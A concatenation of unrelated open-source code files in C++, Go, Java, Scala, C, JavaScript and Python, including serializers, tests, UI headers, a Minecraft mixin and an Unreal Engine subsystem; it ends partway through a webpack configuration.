#include <iostream> using namespace std; int main(){ int t,a,b,x; cin>>t; while(t--){ cin>>a>>b; if(a == 1 && b >= 2){ cout<<2<<endl; continue; } if(a % 4 == 1){ x = a - 1; }else if( a % 4 == 2){ x = 1; }else if( a % 4 == 3){ x = a; }else{ x = 0; } if(x == b){ cout<<a<<endl; }else if((x ^ b) == a){ cout<<(a + 2)<<endl; }else{ cout<<(a + 1)<<endl; } } return 0; }
gedorinku/tsugidoko-server
app/server/errors.go
<reponame>gedorinku/tsugidoko-server package server import ( "google.golang.org/grpc/codes" "google.golang.org/grpc/status" ) // ErrInvalidSession is returned when session is invalid var ErrInvalidSession = status.Error(codes.Unauthenticated, "Unauthenticated")
yfirmy/eternity2-server
src/main/java/fr/firmy/lab/eternity2server/model/dto/serializer/BoardDescriptionSerializer.java
package fr.firmy.lab.eternity2server.model.dto.serializer; import com.fasterxml.jackson.core.JsonGenerator; import com.fasterxml.jackson.databind.JsonSerializer; import com.fasterxml.jackson.databind.SerializerProvider; import fr.firmy.lab.eternity2server.model.dto.BoardDescription; import org.springframework.boot.jackson.JsonComponent; import java.io.IOException; @JsonComponent public class BoardDescriptionSerializer extends JsonSerializer<BoardDescription> { @Override public void serialize(BoardDescription boardDescription, JsonGenerator jsonGenerator, SerializerProvider serializerProvider) throws IOException { jsonGenerator.writeString(boardDescription.getRepresentation()); } }
ECUST-CST163-ZhangBaiLi/moonlight
core/src/main/java/zbl/moonlight/core/protocol/Parser.java
<filename>core/src/main/java/zbl/moonlight/core/protocol/Parser.java package zbl.moonlight.core.protocol; import lombok.Setter; import zbl.moonlight.core.protocol.schema.SchemaEntry; import zbl.moonlight.core.protocol.nio.NioReader; import zbl.moonlight.core.protocol.schema.SchemaUtils; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.lang.reflect.Proxy; import java.nio.ByteBuffer; import java.util.HashMap; import java.util.List; /** 解析的内容:不包括最前面的4个byte位的长度信息 */ public class Parser { /** 用来存储各个属性的map */ protected HashMap<String, byte[]> map; /** 传输的数据,不包括数据长度 */ @Setter protected ByteBuffer byteBuffer; /** 继承Parsable的接口 */ private final Class<? extends Parsable> schemaClass; private boolean parsed = false; public Parser(Class<? extends Parsable> schemaClass) { this.schemaClass = schemaClass; } public byte[] mapGet(String name) { if(!parsed) { throw new RuntimeException("Can NOT get before parsing."); } return map.get(name); } public void parse() { Parsable schema = (Parsable) Proxy.newProxyInstance(NioReader.class.getClassLoader(), new Class[]{schemaClass}, new ParseHandler()); /* 把ByteBuffer类型的数据解析成map */ map = schema.parse(byteBuffer); parsed = true; } /* 解析操作的JDK动态代理InvocationHandler */ private class ParseHandler implements InvocationHandler { @Override public Object invoke(Object proxy, Method method, Object[] args) { if(!(args[0] instanceof ByteBuffer data)) { throw new IllegalStateException("args[0] is not a instance of ByteBuffer."); } List<SchemaEntry> schemaEntries = SchemaUtils.listAll(schemaClass); SchemaUtils.sort(schemaEntries); data.rewind(); HashMap<String, byte[]> map = new HashMap<>(); for (SchemaEntry entry : schemaEntries) { byte[] bytes; switch (entry.type()) { case BYTE -> { bytes = new byte[1]; } case INT -> { bytes = new byte[4]; } case STRING -> { int length = data.getInt(); bytes = new byte[length]; } default -> throw new RuntimeException("Unsupported SchemaEntry type."); } data.get(bytes); map.put(entry.name(), bytes); } assert data.position() == data.limit(); assert data.position() == data.capacity(); return map; } } }
thotho19/lagotto
src/test/scala/io/github/binaryfoo/lagotto/AggregateLogEntryTest.scala
<gh_stars>0 package io.github.binaryfoo.lagotto import io.github.binaryfoo.lagotto.JposTimestamp.DateTimeExtension import io.github.binaryfoo.lagotto.output.Xsv.SeqToXsv import io.github.binaryfoo.lagotto.reader.FileIO import org.joda.time.DateTime class AggregateLogEntryTest extends LagoTest { private def threeStans = iteratorOver( JposEntry("0" -> "0200", "11" -> "1"), JposEntry("0" -> "0200", "11" -> "2"), JposEntry("0" -> "0210", "11" -> "3")) "Aggregation" should "support count" in { aggregateToCsv(threeStans, "mti", "count") shouldBe List("0200,2", "0210,1") } it should "support count(distinct(field))" in { aggregateToCsv(threeStans, "count(distinct(mti))") shouldBe List("2") } it should "support group_concat(distinct(field))" in { aggregateToCsv(threeStans, "group_concat(distinct(mti))") shouldBe List("0200,0210") } private def twoLifespans = iteratorOver(JposEntry(lines = "<log>1</log>", "lifespan" -> "100"), JposEntry(lines = "<log>2</log>", "lifespan" -> "200")) it should "support avg(field)" in { aggregate("avg(lifespan)") shouldBe List("150") aggregateToCsv(threeStans, "mti", "avg(11)") shouldBe List("0200,1", "0210,3") } it should "support percentile(n,field)" in { aggregateToCsv(threeStans, "percentile(33,11)") shouldBe List("1.0") aggregateToCsv(threeStans, "percentile(50,11)") shouldBe List("2.0") aggregateToCsv(threeStans, "percentile(66,11)") shouldBe List("2.64") aggregateToCsv(threeStans, "percentile(75,11)") shouldBe List("3.0") aggregateToCsv(threeStans, "percentile(100,11)") shouldBe List("3.0") aggregateToCsv(iteratorOver(JposEntry("11" -> "1")), "percentile(0,11)") shouldBe List("1.0") aggregateToCsv(iteratorOver(JposEntry("11" -> "1")), "percentile(100,11)") shouldBe List("1.0") } it should "support min(field)" in { aggregate("min(lifespan)") shouldBe List("100") aggregateToCsv(threeStans, "mti", "min(11)") shouldBe List("0200,1", "0210,3") } it should "support max(field)" in { aggregate("max(lifespan)") shouldBe List("200") aggregateToCsv(threeStans, "mti", "max(11)") shouldBe List("0200,2", "0210,3") } it should "support sum(field)" in { aggregate("sum(lifespan)") shouldBe List("300") aggregateToCsv(threeStans, "mti", "sum(11)") shouldBe List("0200,3", "0210,3") } it should "support group_concat(field)" in { aggregate("group_concat(lifespan)") shouldBe List("100,200") aggregateToCsv(threeStans, "mti", "group_concat(11)") shouldBe List("0200,1,2", "0210,3") } it should "support group_sample(field N)" in { aggregate("group_sample(lifespan 1)") should (contain("100") or contain("200")) aggregateToCsv(threeStans, "mti", "group_sample(11 1)") should (contain("0210,3") and (contain("0200,1") or contain("0200,2"))) } // TODO this will make count(distinct(field)) an aggregate of an aggregate ? // it should "support distinct(field)" in { // aggregate("distinct(lifespan)") shouldBe List("100", "300") // } "group_trace" should "write a file per group" in { aggregateToCsv(twoLifespans, "lifespan", "group_trace(agg-test)") should (contain("100,agg-test.1.log") and contain("200,agg-test.2.log")) FileIO.readToString("agg-test.1.log") shouldBe "<log>1</log>\n" FileIO.readToString("agg-test.2.log") shouldBe "<log>2</log>\n" delete("agg-test.1.log") delete("agg-test.2.log") } private val now = new DateTime() private def threeLifespans = iteratorOver( JposEntry("at" -> now.asJposAt, "lifespan" -> "1000"), JposEntry("at" -> now.asJposAt, "lifespan" -> "2000"), JposEntry("at" -> now.asJposAt, "lifespan" -> "3000")) "Aggregation over a calculation" should "support max" in { aggregateToCsv(threeLifespans, "max(calc(timestamp-lifespan))") shouldBe Seq(DefaultDateTimeFormat.print(now.minusMillis(1000))) } it should "support min" in { aggregateToCsv(threeLifespans, "min(calc(timestamp-lifespan))") shouldBe Seq(DefaultDateTimeFormat.print(now.minusMillis(3000))) } it should "support avg" in { aggregateToCsv(threeLifespans, "avg(calc((time as millis)/(time as millis)))") shouldBe Seq("1") } it should "support sum" in { val expectedSum = threeLifespans.map(_.timestamp.getMillisOfDay).sum - 6000 aggregateToCsv(threeLifespans, "sum((calc(timestamp-lifespan) datetime as millis))") shouldBe Seq(expectedSum.toString) } it should "support group_concat" in { val expectedGroup = (1 to 3).map(v => now.minusMillis(v * 1000).toString("HH:mm:ss")).mkString(",") aggregateToCsv(threeLifespans, "group_concat(calc(time(HH:mm:ss)-lifespan))") shouldBe Seq(expectedGroup) } it should "support count(distinct)" in { aggregateToCsv(threeLifespans, "count(distinct(calc(time(HH:mm:ss)-lifespan)))") shouldBe Seq("3") } it should "support group_concat(translate(70))" in { val twoMtis = iteratorOver(JposEntry("0" -> "0800"), JposEntry("0" -> "0810")) aggregateToCsv(parserWithRootDictionary, twoMtis, "group_concat(translate(0))") shouldBe Seq("Network Management Request,Network Management Response") } it should "support translate() as an aggregation key" in { val twoMtis = iteratorOver(JposEntry("0" -> "0800"), JposEntry("0" -> "0810")) aggregateToCsv(parserWithRootDictionary, twoMtis, "translate(0)", "count") shouldBe Seq("Network Management Request,1", "Network Management Response,1") } private def twoStrings = iteratorOver( JposEntry("48" -> "a"), JposEntry("48" -> "b")) "min(field)" should "support string comparison" in { aggregateToCsv(twoStrings, "min(48)") shouldBe List("a") } "max(field)" should "support string comparison" in { aggregateToCsv(twoStrings, "max(48)") shouldBe List("b") } "group_sample" should "parse" in { val expr = new FieldExprParser().FieldExpr.expressionFor("group_sample(line 3)") expr.toString() shouldBe "group_sample(line 3)" val op = expr.asInstanceOf[AggregateExpr].op.asInstanceOf[GroupSampleBuilder] op.size shouldEqual 3 op.field shouldEqual "line" } it should "handle having fewer values than the sample size" in { val b = GroupSampleBuilder(PrimitiveExpr("mti"), 2) b.+=(JposEntry("0" -> "0200")) b.result() shouldBe "0200" } "alias" should "be supported on key field" in { aggregateToCsv(twoStrings, "48 as \"magic\"", "count") shouldBe List("a,1", "b,1") } private def aggregate(field: String): List[String] = { aggregateToCsv(twoLifespans, field) } private def aggregateToCsv(raw: Iterator[LogEntry], fields: String*): List[String] = { aggregateToCsv(new FieldExprParser(), raw, fields :_*) } private def aggregateToCsv(parser: FieldExprParser, raw: Iterator[LogEntry], fields: String*): List[String] = { val fieldExprs = parser.FieldExpr.expressionsFor(fields) val aggregationConfig = AggregationSpec.fromExpressions(fieldExprs) val aggregated = AggregateExpr.aggregate(raw.toIterator, aggregationConfig.keys, aggregationConfig.aggregates.toSeq) aggregated.map(_.exprToSeq(fieldExprs).toCsv).toList } }
cyberatz/go-choria
validator/example_maxlength_test.go
// Copyright (c) 2020-2021, <NAME> and the Choria Project contributors // // SPDX-License-Identifier: Apache-2.0 package validator_test import ( "fmt" "github.com/choria-io/go-choria/validator/maxlength" ) func Example_maxlength() { ok, err := maxlength.ValidateString("a short string", 20) if !ok { panic(err) } fmt.Println("string validates") // Output: string validates }
isabella232/countly-sdk-java
core/src/main/java/ly/count/sdk/internal/UserImpl.java
<reponame>isabella232/countly-sdk-java package ly.count.sdk.internal; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.util.HashMap; import java.util.HashSet; import java.util.Map; import java.util.Set; import ly.count.sdk.User; import ly.count.sdk.UserEditor; /** * Class for user profile data access & manipulation */ public class UserImpl extends User implements Storable { private static final Log.Module L = Log.module("UserImpl"); String id, name, username, email, org, phone, picturePath, locale, country, city, location; byte[] picture; Gender gender; Integer birthyear; Set<String> cohorts; Map<String, Object> custom; CtxCore ctx; public UserImpl(CtxCore ctx) { this.ctx = ctx; this.custom = new HashMap<>(); this.cohorts = new HashSet<>(); } public String id() { return id; } public String name() { return name; } public String username() { return username; } public String email() { return email; } public String org() { return org; } public String phone() { return phone; } public byte[] picture() { return picture; } public String picturePath() { return picturePath; } public Gender gender() { return gender; } public String locale() { return locale; } public Integer birthyear() { return birthyear; } public String country() { return country; } public String city() { return city; } public String location() { return location; } public Set<String> cohorts() { return cohorts; } public Map<String, Object> custom() { return custom; } public UserEditor edit() { return new UserEditorImpl(this); } @Override public byte[] store() { ByteArrayOutputStream bytes = null; ObjectOutputStream stream = null; try { bytes = new ByteArrayOutputStream(); stream = new ObjectOutputStream(bytes); stream.writeObject(name); stream.writeObject(username); stream.writeObject(email); stream.writeObject(org); stream.writeObject(phone); stream.writeInt(picture == null ? 0 : picture.length); if (picture != null) { stream.write(picture); } stream.writeObject(picturePath); stream.writeObject(gender == null ? null : gender.toString()); stream.writeInt(birthyear == null ? -1 : birthyear); stream.writeObject(locale); stream.writeObject(country); stream.writeObject(city); stream.writeObject(location); stream.writeObject(cohorts == null || cohorts.size() == 0 ? null : cohorts); stream.writeObject(custom); stream.close(); return bytes.toByteArray(); } catch (IOException e) { L.wtf("Cannot serialize session", e); } finally { if (stream != null) { try { stream.close(); } catch (IOException e) { L.wtf("Cannot happen", e); } } if (bytes != null) { try { bytes.close(); } catch (IOException e) { L.wtf("Cannot happen", e); } } } return null; } @SuppressWarnings("unchecked") public boolean restore(byte[] data) { ByteArrayInputStream bytes = null; ObjectInputStream stream = null; try { bytes = new ByteArrayInputStream(data); stream = new ObjectInputStream(bytes); name = (String) stream.readObject(); username = (String) stream.readObject(); email = (String) stream.readObject(); org = (String) stream.readObject(); phone = (String) stream.readObject(); int picLength = stream.readInt(); if (picLength != 0) { picture = new byte[picLength]; stream.readFully(picture); } picturePath = (String) stream.readObject(); String g = (String) stream.readObject(); if (g != null) { gender = Gender.fromString(g); } int y = stream.readInt(); if (y != -1) { birthyear = y; } locale = (String) stream.readObject(); country = (String) stream.readObject(); city = (String) stream.readObject(); location = (String) stream.readObject(); cohorts = (Set<String>) stream.readObject(); cohorts = cohorts == null ? new HashSet<String>() : cohorts; custom = (Map<String, Object>) stream.readObject(); if (custom == null) { custom = new HashMap<>(); } return true; } catch (IOException | ClassNotFoundException e) { L.wtf("Cannot deserialize session", e); } finally { if (stream != null) { try { stream.close(); } catch (IOException e) { L.wtf("Cannot happen", e); } } if (bytes != null) { try { bytes.close(); } catch (IOException e) { L.wtf("Cannot happen", e); } } } return false; } @Override public Long storageId() { return 0L; } @Override public String storagePrefix() { return "user"; } }
yumin/SMTK
smtk/extension/qt/qtTableWidget.h
//========================================================================= // Copyright (c) Kitware, Inc. // All rights reserved. // See LICENSE.txt for details. // // This software is distributed WITHOUT ANY WARRANTY; without even // the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR // PURPOSE. See the above copyright notice for more information. //========================================================================= // .NAME qtTableWidget - a customized table widget. // .SECTION Description // A convenience QTableWidget with extra features: // 1. Automatic size hints based on contents // 2. A check box added in a header if items have check boxes // 3. Navigation through columns of top level items on Tab. // 4. Signal emitted when user navigates beyond end of the table giving an // opportunity to the lister to grow the table. // 5. Customized Drag-n-Drop // .SECTION Caveats #ifndef _qtTableWidget_h #define _qtTableWidget_h #include <QTableWidget> #include "smtk/extension/qt/Exports.h" class QKeyEvent; class SMTKQTEXT_EXPORT qtTableWidget : public QTableWidget { Q_OBJECT public: qtTableWidget(QWidget* p = NULL); ~qtTableWidget(); QModelIndexList getSelectedIndexes() const { return this->selectedIndexes(); } public slots: signals: void keyPressed(QKeyEvent*); protected slots: virtual void keyPressEvent(QKeyEvent*); }; #endif // !_qtTableWidget_h
skonzem/model-t
src/app_mt/recovery_img.c
<filename>src/app_mt/recovery_img.c #include "ch.h" #include "recovery_img.h" #include "message.h" #include "dfuse.h" #include "app_hdr.h" #include <stdio.h> static msg_t recovery_img_thread(void* arg); void recovery_img_init() { recovery_img_load_state_t state = RECOVERY_IMG_CHECKING; msg_send(MSG_RECOVERY_IMG_STATUS, &state); dfu_parse_result_t result = dfuse_verify(SP_RECOVERY_IMG); if (result != DFU_PARSE_OK) { printf("No recovery image detected (%d)\r\n", result); printf(" Copying this image to external flash... "); recovery_img_write(); } else { printf("Recovery image is present\r\n"); state = RECOVERY_IMG_LOADED; msg_send(MSG_RECOVERY_IMG_STATUS, &state); } } static msg_t recovery_img_thread(void* arg) { (void)arg; recovery_img_load_state_t state; dfu_parse_result_t result; extern uint8_t __app_base__; image_rec_t img_recs[2] = { { .data = (uint8_t*)&_app_hdr, .size = sizeof(_app_hdr) }, { .data = &__app_base__, .size = _app_hdr.img_size }, }; state = RECOVERY_IMG_LOADING; msg_send(MSG_RECOVERY_IMG_STATUS, &state); dfuse_write_self(SP_RECOVERY_IMG, img_recs, 2); state = RECOVERY_IMG_CHECKING; msg_send(MSG_RECOVERY_IMG_STATUS, &state); result = dfuse_verify(SP_RECOVERY_IMG); if (result == DFU_PARSE_OK) { state = RECOVERY_IMG_LOADED; msg_send(MSG_RECOVERY_IMG_STATUS, &state); } else { state = RECOVERY_IMG_FAILED; msg_send(MSG_RECOVERY_IMG_STATUS, &state); } printf("OK\r\n"); return 0; } void recovery_img_write() { chThdCreateFromHeap(NULL, 2048, NORMALPRIO, recovery_img_thread, NULL); }
scbedd/azure-sdk-for-node
lib/services/luis/authoring/lib/models/modelTrainingInfo.js
/* * Copyright (c) Microsoft Corporation. All rights reserved. * Licensed under the MIT License. See License.txt in the project root for * license information. * * Code generated by Microsoft (R) AutoRest Code Generator. * Changes may cause incorrect behavior and will be lost if the code is * regenerated. */ 'use strict'; /** * Model Training Info. * */ class ModelTrainingInfo { /** * Create a ModelTrainingInfo. * @property {uuid} [modelId] The ID (GUID) of the model. * @property {object} [details] * @property {number} [details.statusId] The train request status ID. * @property {string} [details.status] Possible values include: 'Queued', * 'InProgress', 'UpToDate', 'Fail', 'Success' * @property {number} [details.exampleCount] The count of examples used to * train the model. * @property {date} [details.trainingDateTime] When the model was trained. * @property {string} [details.failureReason] Reason for the training * failure. */ constructor() { } /** * Defines the metadata of ModelTrainingInfo * * @returns {object} metadata of ModelTrainingInfo * */ mapper() { return { required: false, serializedName: 'ModelTrainingInfo', type: { name: 'Composite', className: 'ModelTrainingInfo', modelProperties: { modelId: { required: false, serializedName: 'modelId', type: { name: 'String' } }, details: { required: false, serializedName: 'details', type: { name: 'Composite', className: 'ModelTrainingDetails' } } } } }; } } module.exports = ModelTrainingInfo;
t4d-classes/react_10142020
apollo2-hoc/src/mutations/RemoveSelectedWidgetIdMutation.js
<reponame>t4d-classes/react_10142020 import { graphql } from 'react-apollo'; import gql from 'graphql-tag'; export const REMOVE_SELECTED_WIDGET_ID_MUTATION = gql` mutation RemoveSelectedWidgetId($widgetId: ID) { removeSelectedWidgetId(widgetId: $widgetId) @client } `; export const withRemoveSelectedWidgetIdMutation = graphql(REMOVE_SELECTED_WIDGET_ID_MUTATION, { props: ({ mutate }) => ({ onRemoveSelectedWidgetId: widgetId => mutate({ variables: { widgetId } }) }), });
xiaohh2016/python-25
P25010-Guangzhou-Jiachengwu/week07/ex_copy.py
# 以下代码输出什么,请解释原因(写到问题下方): li = [ [ ] ] * 5 li[0].append(10) print(li) li[1].append(20) print(li) li.append(30) print(li) ''' 因为[[]]是一种复杂结构,一开始[[]]相当于引用了5次一样的内存地址,所以他们id值都一样的 当向这个列表里面的第0个元素追加内容时,相当于对[[]]内存地址上面的值进行了修改,所以5个都改了 同理,当对这个列表第1个元素追加里面时,也会修改到5个元素里面的值,毕竟是引用的统一个地址 最后真正向li列表进行追加时,就相当于修改了li的值,所以就多了个30的元素了 ''' """ 概念理解的比较到位,这一种是两层的的数据结构,还可以尝试一下,如果是三层数据结构,是否是同样的情况。 自己在编译器上尝试着复制一下,这样对于python里的浅复制和深度复制的概念能够更加了解。 """
The-Fireplace-Minecraft-Mods/Fireplace-Lib
src/main/java/dev/the_fireplace/lib/mixin/ArgumentTypesMixin.java
<reponame>The-Fireplace-Minecraft-Mods/Fireplace-Lib<filename>src/main/java/dev/the_fireplace/lib/mixin/ArgumentTypesMixin.java package dev.the_fireplace.lib.mixin; import com.mojang.brigadier.arguments.ArgumentType; import dev.the_fireplace.lib.command.helpers.ArgumentTypeFactoryImpl; import dev.the_fireplace.lib.command.helpers.OfflinePlayerArgumentType; import net.minecraft.command.argument.ArgumentTypes; import net.minecraft.network.PacketByteBuf; import net.minecraft.util.Identifier; import org.spongepowered.asm.mixin.Mixin; import org.spongepowered.asm.mixin.injection.At; import org.spongepowered.asm.mixin.injection.Inject; import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; @Mixin(ArgumentTypes.class) public final class ArgumentTypesMixin { private static final Identifier ENTITY_ARGUMENT_ID = new Identifier("minecraft", "entity"); @Inject(at = @At("HEAD"), method = "toPacket", cancellable = true) private static <T extends ArgumentType<?>> void hijackOfflinePlayerPacketSerializationForVanillaClientCompatibility( PacketByteBuf packetByteBuf, T argumentType, CallbackInfo ci ) { if (argumentType instanceof OfflinePlayerArgumentType) { packetByteBuf.writeIdentifier(ENTITY_ARGUMENT_ID); ArgumentTypeFactoryImpl.OFFLINE_PLAYER_ARGUMENT_SERIALIZER.toPacket((OfflinePlayerArgumentType) argumentType, packetByteBuf); ci.cancel(); } } }
BauweraertsWouter/programmeren3
repaircafe/src/main/java/be/kdg/repaircafe/backend/dom/users/roles/Client.java
/* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package be.kdg.repaircafe.backend.dom.users.roles; import be.kdg.repaircafe.backend.dom.repairs.Repair; import org.springframework.security.core.GrantedAuthority; import org.springframework.security.core.authority.SimpleGrantedAuthority; import javax.persistence.*; import java.util.ArrayList; import java.util.Collection; import java.util.List; /** * A Client can post repairs to the system. * * @author wouter */ @Entity @Inheritance(strategy = InheritanceType.SINGLE_TABLE) @DiscriminatorValue("ROLE_CLIENT") public class Client extends Role { @OneToMany(targetEntity = Repair.class, cascade = CascadeType.ALL, fetch = FetchType.EAGER, mappedBy = "client") protected List<Repair> submittedRepairs; public Client() { this.submittedRepairs = new ArrayList<>(); } /** * Add repair to this user's list * * @param repair */ public synchronized void submitRepair(Repair repair) { this.submittedRepairs.add(repair); } /** * Remove a repair from the user's submitted repairs list * * @param repair */ public synchronized void removeRepair(Repair repair) { this.submittedRepairs.remove(repair); } /** * Return list of submitted repairs. * <p/> * If User is a Client then this list contains his submitted repairs * If User us a Repaier then this list contains assigned repairs. * * @return List of repairs */ public List<Repair> getRepairs() { return submittedRepairs; } @Override public Collection<? extends GrantedAuthority> getAuthorities() { List<GrantedAuthority> authorities = new ArrayList<>(); authorities.add(new SimpleGrantedAuthority("ROLE_CLIENT")); return authorities; } @Override public RoleType getRoleType() { return RoleType.ROLE_CLIENT; } }
TheEmidee/UEGameBaseFramework
Source/GameBaseFramework/Private/Engine/SubSystems/GBFGameInstanceCoreDelegatesSubsystem.cpp
<filename>Source/GameBaseFramework/Private/Engine/SubSystems/GBFGameInstanceCoreDelegatesSubsystem.cpp #include "Engine/SubSystems//GBFGameInstanceCoreDelegatesSubsystem.h" #include "GameFramework/GBFGameModeBase.h" #include "GBFLog.h" #include <Engine/Canvas.h> #include <Framework/Application/SlateApplication.h> #include <Interfaces/OnlineIdentityInterface.h> #include <Misc/CoreDelegates.h> #include <OnlineSubsystem.h> #include <OnlineSubsystemTypes.h> UGBFGameInstanceCoreDelegatesSubsystem::UGBFGameInstanceCoreDelegatesSubsystem() : ItIsLicensed( true ) { } void UGBFGameInstanceCoreDelegatesSubsystem::Initialize( FSubsystemCollectionBase & collection ) { Super::Initialize( collection ); const auto oss = IOnlineSubsystem::Get(); check( oss != nullptr ); const auto identity_interface = oss->GetIdentityInterface(); check( identity_interface.IsValid() ); for ( auto i = 0; i < MAX_LOCAL_PLAYERS; ++i ) { identity_interface->AddOnLoginStatusChangedDelegate_Handle( i, FOnLoginStatusChangedDelegate::CreateUObject( this, &UGBFGameInstanceCoreDelegatesSubsystem::HandleUserLoginChanged ) ); } FCoreDelegates::ApplicationWillDeactivateDelegate.AddUObject( this, &UGBFGameInstanceCoreDelegatesSubsystem::HandleAppWillDeactivate ); FCoreDelegates::ApplicationHasReactivatedDelegate.AddUObject( this, &UGBFGameInstanceCoreDelegatesSubsystem::HandleAppHasReactivated ); FCoreDelegates::ApplicationWillEnterBackgroundDelegate.AddUObject( this, &UGBFGameInstanceCoreDelegatesSubsystem::HandleAppWillEnterBackground ); FCoreDelegates::ApplicationHasEnteredForegroundDelegate.AddUObject( this, &UGBFGameInstanceCoreDelegatesSubsystem::HandleAppHasEnteredForeground ); FCoreDelegates::OnSafeFrameChangedEvent.AddUObject( this, &UGBFGameInstanceCoreDelegatesSubsystem::HandleSafeFrameChanged ); FCoreDelegates::ApplicationLicenseChange.AddUObject( this, &UGBFGameInstanceCoreDelegatesSubsystem::HandleAppLicenseUpdate ); } void UGBFGameInstanceCoreDelegatesSubsystem::HandleUserLoginChanged( int32 /* game_user_index */, ELoginStatus::Type /* previous_login_status */, ELoginStatus::Type /* login_status */, const FUniqueNetId & /* user_id */ ) { HandleAppLicenseUpdate(); } // ReSharper disable once CppMemberFunctionMayBeStatic void UGBFGameInstanceCoreDelegatesSubsystem::HandleAppWillDeactivate() { UE_LOG( LogGBF_OSS, Warning, TEXT( "UGBFGameInstanceCoreDelegatesSubsystem::HandleAppWillDeactivate" ) ); #if PLATFORM_PS4 HandleAppDeactivateOrBackground(); #endif } // ReSharper disable once CppMemberFunctionMayBeStatic void UGBFGameInstanceCoreDelegatesSubsystem::HandleAppHasReactivated() { UE_LOG( LogGBF_OSS, Warning, TEXT( "UGBFGameInstanceCoreDelegatesSubsystem::HandleAppHasReactivated" ) ); #if PLATFORM_PS4 HandleAppReactivateOrForeground(); #endif } // ReSharper disable once CppMemberFunctionMayBeStatic void UGBFGameInstanceCoreDelegatesSubsystem::HandleAppWillEnterBackground() { UE_LOG( LogGBF_OSS, Warning, TEXT( "UGBFGameInstanceCoreDelegatesSubsystem::HandleAppWillEnterBackground" ) ); #if PLATFORM_SWITCH || PLATFORM_XBOXONE HandleAppDeactivateOrBackground(); #endif } // ReSharper disable once CppMemberFunctionMayBeStatic void UGBFGameInstanceCoreDelegatesSubsystem::HandleAppHasEnteredForeground() { UE_LOG( LogGBF_OSS, Log, TEXT( "UGBFGameInstanceCoreDelegatesSubsystem::HandleAppHasEnteredForeground" ) ); #if PLATFORM_SWITCH || PLATFORM_XBOXONE HandleAppReactivateOrForeground(); #endif } void UGBFGameInstanceCoreDelegatesSubsystem::HandleAppDeactivateOrBackground() const { OnAppDeactivateOrBackgroundDelegate.Broadcast(); } // ReSharper disable once CppMemberFunctionMayBeConst void UGBFGameInstanceCoreDelegatesSubsystem::HandleAppReactivateOrForeground() { OnAppReactivatedOrForegroundDelegate.Broadcast(); } // ReSharper disable once CppMemberFunctionMayBeStatic void UGBFGameInstanceCoreDelegatesSubsystem::HandleSafeFrameChanged() { UCanvas::UpdateAllCanvasSafeZoneData(); } void UGBFGameInstanceCoreDelegatesSubsystem::HandleAppLicenseUpdate() { auto generic_application = FSlateApplication::Get().GetPlatformApplication(); ItIsLicensed = generic_application->ApplicationLicenseValid(); }
BlueCannonBall/cppparser
test/e2e/test_input/wxWidgets/include/wx/qt/dirdlg.h
<filename>test/e2e/test_input/wxWidgets/include/wx/qt/dirdlg.h ///////////////////////////////////////////////////////////////////////////// // Name: wx/qt/dirdlg.h // Author: <NAME> // Copyright: (c) 2014 <NAME> // Licence: wxWindows licence ///////////////////////////////////////////////////////////////////////////// #ifndef _WX_QT_DIRDLG_H_ #define _WX_QT_DIRDLG_H_ class QFileDialog; class WXDLLIMPEXP_CORE wxDirDialog : public wxDirDialogBase { public: wxDirDialog() { } wxDirDialog(wxWindow *parent, const wxString& message = wxASCII_STR(wxDirSelectorPromptStr), const wxString& defaultPath = wxEmptyString, long style = wxDD_DEFAULT_STYLE, const wxPoint& pos = wxDefaultPosition, const wxSize& size = wxDefaultSize, const wxString& name = wxASCII_STR(wxDirDialogNameStr)); bool Create(wxWindow *parent, const wxString& message = wxASCII_STR(wxDirSelectorPromptStr), const wxString& defaultPath = wxEmptyString, long style = wxDD_DEFAULT_STYLE, const wxPoint& pos = wxDefaultPosition, const wxSize& size = wxDefaultSize, const wxString& name = wxASCII_STR(wxDirDialogNameStr)); public: // overrides from wxGenericDirDialog wxString GetPath() const wxOVERRIDE; void SetPath(const wxString& path) wxOVERRIDE; private: virtual QFileDialog *GetQFileDialog() const; wxDECLARE_DYNAMIC_CLASS(wxDirDialog); }; #endif // _WX_QT_DIRDLG_H_
BritClousing/EOSAI
EOSAI/EOSAIStrategicAIOrder_AIResigns.h
#pragma once #include "EOSAIStrategicAIOrder.h" // // This tells the game that the AI player is resigning. // In general, the 'ConcedeGame' action happens before this order is given. // class CEOSAIStrategicAIOrder_AIResigns : public CEOSAIStrategicAIOrder { public: CEOSAIStrategicAIOrder_AIResigns( CEOSAIStrategicAI* pStrategicAI ) : CEOSAIStrategicAIOrder( pStrategicAI ){} virtual void Execute(long iCurrentTurn); // Send the offer };
gtd-checklist/checklist-web
webpack/parts.js
const webpack = require('webpack'); const HtmlWebpackPlugin = require('html-webpack-plugin'); const CleanWebpackPlugin = require('clean-webpack-plugin'); const paths = require('./paths'); const restConfig = require('./rest-config'); exports.entry = ({ hotReload }) => { const entry = { app: [paths.appIndex] }; const plugins = [ new webpack.optimize.ModuleConcatenationPlugin() ]; if (hotReload) { entry.app.unshift('react-hot-loader/patch'); plugins.push(new webpack.NamedModulesPlugin()); } entry.app.unshift('babel-polyfill'); return { entry, plugins }; }; exports.output = () => { const output = { path: paths.dist, filename: 'bundle.js', publicPath: '/' }; return { output }; }; exports.scripts = () => { const result = { module: { rules: [ { test: /\.jsx?$/, exclude: /node_modules/, use: { loader: 'babel-loader', options: { presets: ['@babel/preset-env'] } } } ] } }; return result; }; exports.file = () => ({ module: { rules: [ { test: /\.(png|jpg|jpeg|gif|svg|woff|woff2|ttf|eot)/, loader: 'file-loader', options: { name: '[name].[ext]', outputPath: 'img/' } } ] } }); exports.devServer = () => ({ devServer: { open: true, compress: true, historyApiFallback: true, port: 3000 } }); exports.indexTemplate = () => { const options = { inject: false, chunks: ['vendor', 'app'], template: paths.mainTemplate, filename: 'index.html' }; return { plugins: [ new HtmlWebpackPlugin(options) ] }; }; exports.esLint = () => ({ module: { rules: [ { enforce: 'pre', test: /\.jsx?$/, exclude: /node_modules/, loader: 'eslint-loader', options: { failOnError: true } } ] } }); exports.resolveLoaders = () => ({ resolveLoader: { moduleExtensions: ['-loader'] } }); exports.resolve = () => ({ resolve: { modules: [ paths.nodeModules ], extensions: ['.js', '.jsx'] } }); exports.commonChunks = () => ({ optimization: { splitChunks: { chunks: 'async', minSize: 30000, maxSize: 0, minChunks: 1, maxAsyncRequests: 5, 